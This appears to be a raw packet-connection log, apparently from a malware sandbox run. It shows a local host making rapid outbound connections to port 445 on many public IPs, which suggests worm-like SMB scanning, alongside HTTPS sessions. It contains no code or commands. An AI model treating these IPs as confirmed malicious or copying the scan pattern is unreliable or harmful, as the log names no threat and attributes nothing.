Jul 20, 2022 06:07:50.151170969 CEST	52755	445	192.168.2.6	166.47.115.161
Jul 20, 2022 06:07:50.151278973 CEST	52758	445	192.168.2.6	100.33.77.98
Jul 20, 2022 06:07:50.151401043 CEST	52759	445	192.168.2.6	15.102.63.239
Jul 20, 2022 06:07:50.151401997 CEST	52760	445	192.168.2.6	98.239.155.154
Jul 20, 2022 06:07:50.151484966 CEST	52763	445	192.168.2.6	113.217.67.206
Jul 20, 2022 06:07:50.151540041 CEST	52762	445	192.168.2.6	180.137.105.111
Jul 20, 2022 06:07:50.151616096 CEST	52764	445	192.168.2.6	80.75.242.87
Jul 20, 2022 06:07:50.151731968 CEST	52765	445	192.168.2.6	196.106.161.228
Jul 20, 2022 06:07:50.151868105 CEST	52768	445	192.168.2.6	1.118.248.37
Jul 20, 2022 06:07:50.151904106 CEST	52766	445	192.168.2.6	88.90.34.182
Jul 20, 2022 06:07:50.152054071 CEST	52771	445	192.168.2.6	143.214.212.230
Jul 20, 2022 06:07:50.152162075 CEST	52774	445	192.168.2.6	109.120.116.73
Jul 20, 2022 06:07:50.152218103 CEST	52775	445	192.168.2.6	51.207.227.101
Jul 20, 2022 06:07:50.152313948 CEST	52776	445	192.168.2.6	157.110.82.173
Jul 20, 2022 06:07:50.155026913 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.155179977 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.157468081 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.157493114 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.157942057 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.159275055 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.204504967 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252087116 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252254009 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252362013 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252398968 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.252423048 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252444983 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.252485991 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.252748966 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252859116 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.252896070 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.252978086 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.253170967 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.253257036 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.253268003 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.253319979 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.253369093 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.253427982 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.255294085 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.255317926 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.255331039 CEST	52740	443	192.168.2.6	20.54.89.106
Jul 20, 2022 06:07:50.255337000 CEST	443	52740	20.54.89.106	192.168.2.6
Jul 20, 2022 06:07:50.274581909 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.274669886 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.274725914 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.274748087 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.313273907 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.313308001 CEST	443	52735	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.313318968 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.313364029 CEST	52735	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.338751078 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.338788986 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.338860989 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.340415955 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.340435982 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.357769966 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.357831001 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.357947111 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.358566046 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.358589888 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.468364954 CEST	52782	445	192.168.2.6	176.241.42.25
Jul 20, 2022 06:07:50.470429897 CEST	52783	445	192.168.2.6	178.159.42.58
Jul 20, 2022 06:07:50.480313063 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.480423927 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.489619017 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.489636898 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.530481100 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.530503988 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.545397997 CEST	52730	445	192.168.2.6	185.213.62.27
Jul 20, 2022 06:07:50.545988083 CEST	52785	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.589323044 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.589406013 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.589432001 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.589457035 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.589481115 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.589512110 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.589613914 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.589629889 CEST	443	52780	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.589638948 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.589688063 CEST	52780	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.599647999 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.599682093 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.599767923 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.600495100 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.600507021 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.643840075 CEST	445	52785	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.643985033 CEST	52785	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.644108057 CEST	52785	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.646898031 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.745729923 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.745757103 CEST	445	52785	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.745778084 CEST	445	52730	185.213.62.27	192.168.2.6
Jul 20, 2022 06:07:50.745841980 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.745984077 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.752145052 CEST	445	52785	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.752259970 CEST	52785	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.752815008 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.752896070 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.756866932 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.756876945 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.778856993 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.778870106 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.844197989 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.850071907 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.850321054 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.864679098 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.866108894 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.867719889 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.867793083 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.867943048 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.868141890 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.868158102 CEST	443	52786	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.868170023 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.868243933 CEST	52786	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.869714975 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.869736910 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.870038986 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.871886015 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:50.874826908 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.874877930 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.875034094 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.875400066 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:50.875427961 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:50.912494898 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:50.948503971 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:50.948688030 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:50.969249010 CEST	52790	445	192.168.2.6	120.200.48.205
Jul 20, 2022 06:07:50.969338894 CEST	52791	445	192.168.2.6	147.68.192.182
Jul 20, 2022 06:07:50.969480038 CEST	52792	445	192.168.2.6	45.116.63.27
Jul 20, 2022 06:07:50.969633102 CEST	52794	445	192.168.2.6	120.50.92.136
Jul 20, 2022 06:07:51.003180981 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.003232002 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.003314018 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.004290104 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.004319906 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.021716118 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.024698019 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.026110888 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.026132107 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.028934002 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.028953075 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.044768095 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:51.045037985 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:51.062928915 CEST	52798	445	192.168.2.6	24.154.231.165
Jul 20, 2022 06:07:51.077749968 CEST	52799	445	192.168.2.6	40.136.185.188
Jul 20, 2022 06:07:51.078526020 CEST	52800	445	192.168.2.6	192.13.137.157
Jul 20, 2022 06:07:51.099328995 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.099495888 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.110491991 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.110517979 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.110871077 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.112551928 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.112574100 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.112584114 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.112684011 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.116658926 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.116755009 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.116755962 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.116803885 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.117367029 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.117391109 CEST	443	52789	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.117400885 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.117450953 CEST	52789	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.119749069 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.119775057 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.119956017 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.129621029 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.129653931 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.139555931 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:51.139677048 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:51.148610115 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.148711920 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.148765087 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.148957968 CEST	52796	443	192.168.2.6	20.199.120.85
Jul 20, 2022 06:07:51.148977995 CEST	443	52796	20.199.120.85	192.168.2.6
Jul 20, 2022 06:07:51.187081099 CEST	52803	445	192.168.2.6	106.49.2.241
Jul 20, 2022 06:07:51.187150002 CEST	52804	445	192.168.2.6	154.79.116.64
Jul 20, 2022 06:07:51.205086946 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205167055 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205213070 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205270052 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205310106 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205329895 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205387115 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205571890 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205626965 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205667019 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205702066 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205724001 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205743074 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205780029 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205795050 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205813885 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.205859900 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.205935955 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.207323074 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.207354069 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.207370043 CEST	52781	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.207381010 CEST	443	52781	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.219502926 CEST	52808	445	192.168.2.6	35.93.171.216
Jul 20, 2022 06:07:51.235579967 CEST	445	52787	37.21.160.62	192.168.2.6
Jul 20, 2022 06:07:51.235865116 CEST	52787	445	192.168.2.6	37.21.160.62
Jul 20, 2022 06:07:51.250396013 CEST	52809	445	192.168.2.6	41.241.227.61
Jul 20, 2022 06:07:51.265952110 CEST	52811	445	192.168.2.6	168.245.117.242
Jul 20, 2022 06:07:51.277940989 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.278582096 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.293721914 CEST	52812	445	192.168.2.6	119.63.63.222
Jul 20, 2022 06:07:51.298687935 CEST	52814	445	192.168.2.6	94.2.117.99
Jul 20, 2022 06:07:51.298827887 CEST	52817	445	192.168.2.6	1.254.49.58
Jul 20, 2022 06:07:51.298975945 CEST	52820	445	192.168.2.6	34.14.55.65
Jul 20, 2022 06:07:51.299027920 CEST	52822	445	192.168.2.6	111.22.253.144
Jul 20, 2022 06:07:51.299104929 CEST	52823	445	192.168.2.6	182.216.1.249
Jul 20, 2022 06:07:51.299145937 CEST	52824	445	192.168.2.6	116.212.67.155
Jul 20, 2022 06:07:51.299197912 CEST	52825	445	192.168.2.6	146.214.111.156
Jul 20, 2022 06:07:51.299254894 CEST	52826	445	192.168.2.6	139.60.135.232
Jul 20, 2022 06:07:51.299310923 CEST	52827	445	192.168.2.6	156.100.126.163
Jul 20, 2022 06:07:51.299387932 CEST	52829	445	192.168.2.6	160.34.150.50
Jul 20, 2022 06:07:51.299571991 CEST	52830	445	192.168.2.6	143.169.129.227
Jul 20, 2022 06:07:51.299582958 CEST	52831	445	192.168.2.6	161.50.76.16
Jul 20, 2022 06:07:51.299782991 CEST	52834	445	192.168.2.6	200.165.76.141
Jul 20, 2022 06:07:51.299813032 CEST	52835	445	192.168.2.6	22.129.11.110
Jul 20, 2022 06:07:51.299855947 CEST	52836	445	192.168.2.6	34.46.235.103
Jul 20, 2022 06:07:51.303183079 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.303209066 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.305043936 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.305064917 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.443991899 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.444060087 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.444149971 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.446192026 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.446213007 CEST	443	52801	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.446219921 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.447283030 CEST	52801	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.449992895 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.450042009 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.450273991 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.461781979 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.461812973 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.468076944 CEST	52843	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:51.547020912 CEST	52844	445	192.168.2.6	178.159.42.59
Jul 20, 2022 06:07:51.548181057 CEST	52845	445	192.168.2.6	176.241.42.26
Jul 20, 2022 06:07:51.575758934 CEST	445	52844	178.159.42.59	192.168.2.6
Jul 20, 2022 06:07:51.607215881 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.607393980 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.620618105 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.620655060 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.622387886 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.622437954 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.639862061 CEST	445	52843	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:51.639976025 CEST	52843	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:51.640208006 CEST	52843	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:51.753179073 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.753249884 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.753351927 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.753468037 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.753485918 CEST	443	52842	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.753515959 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.753547907 CEST	52842	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.762937069 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.762981892 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.765043974 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.773010969 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.773039103 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.814093113 CEST	445	52843	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:51.814784050 CEST	52843	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:51.902628899 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.902667046 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.902822971 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.903346062 CEST	52849	443	192.168.2.6	40.125.122.176
Jul 20, 2022 06:07:51.903363943 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:51.921526909 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.923264027 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.928102970 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.928118944 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.930623055 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:51.930649996 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:51.988462925 CEST	445	52843	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:51.988688946 CEST	52843	445	192.168.2.6	107.186.37.3
Jul 20, 2022 06:07:52.032840967 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.032960892 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.033233881 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.046859980 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.046920061 CEST	443	52847	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.046938896 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.047162056 CEST	52847	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.089253902 CEST	52851	445	192.168.2.6	147.250.59.96
Jul 20, 2022 06:07:52.089767933 CEST	52852	445	192.168.2.6	95.177.98.162
Jul 20, 2022 06:07:52.090300083 CEST	52853	445	192.168.2.6	54.189.241.237
Jul 20, 2022 06:07:52.091322899 CEST	52855	445	192.168.2.6	61.115.151.26
Jul 20, 2022 06:07:52.099356890 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.099400997 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.099512100 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.103580952 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.103638887 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.160077095 CEST	445	52843	107.186.37.3	192.168.2.6
Jul 20, 2022 06:07:52.170605898 CEST	52844	445	192.168.2.6	178.159.42.59
Jul 20, 2022 06:07:52.198585033 CEST	445	52844	178.159.42.59	192.168.2.6
Jul 20, 2022 06:07:52.203150034 CEST	52857	445	192.168.2.6	203.70.184.120
Jul 20, 2022 06:07:52.203855038 CEST	52858	445	192.168.2.6	53.98.129.211
Jul 20, 2022 06:07:52.205382109 CEST	52860	445	192.168.2.6	215.224.89.81
Jul 20, 2022 06:07:52.234522104 CEST	52861	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.250535011 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.250731945 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.254795074 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.254823923 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.260123014 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.260144949 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.313977003 CEST	52863	445	192.168.2.6	111.6.138.242
Jul 20, 2022 06:07:52.314820051 CEST	52864	445	192.168.2.6	112.65.193.47
Jul 20, 2022 06:07:52.327833891 CEST	52866	445	192.168.2.6	39.102.144.157
Jul 20, 2022 06:07:52.360976934 CEST	52870	445	192.168.2.6	122.244.227.110
Jul 20, 2022 06:07:52.375566959 CEST	52872	445	192.168.2.6	223.142.53.247
Jul 20, 2022 06:07:52.386418104 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.386507988 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.386557102 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.386588097 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.387671947 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.387711048 CEST	443	52850	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.387727976 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.387798071 CEST	52850	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.391509056 CEST	52873	445	192.168.2.6	116.146.48.1
Jul 20, 2022 06:07:52.397017956 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.397078037 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.398103952 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.398392916 CEST	52874	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:07:52.398420095 CEST	443	52874	20.238.103.94	192.168.2.6
Jul 20, 2022 06:07:52.405206919 CEST	445	52861	107.186.37.4	192.168.2.6
Jul 20, 2022 06:07:52.408118963 CEST	52861	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.408221960 CEST	52861	445	192.168.2.6	107.186.37.4
Jul 20, 2022 06:07:52.409770012 CEST	52877	445	192.168.2.6	7.71.225.42
Jul 20, 2022 06:07:52.411344051 CEST	52880	445	192.168.2.6	219.157.95.188
Jul 20, 2022 06:07:52.419287920 CEST	443	52849	40.125.122.176	192.168.2.6
Jul 20, 2022 06:07:52.419492960 CEST	52849	443	192.168.2.6	40.125.122.176
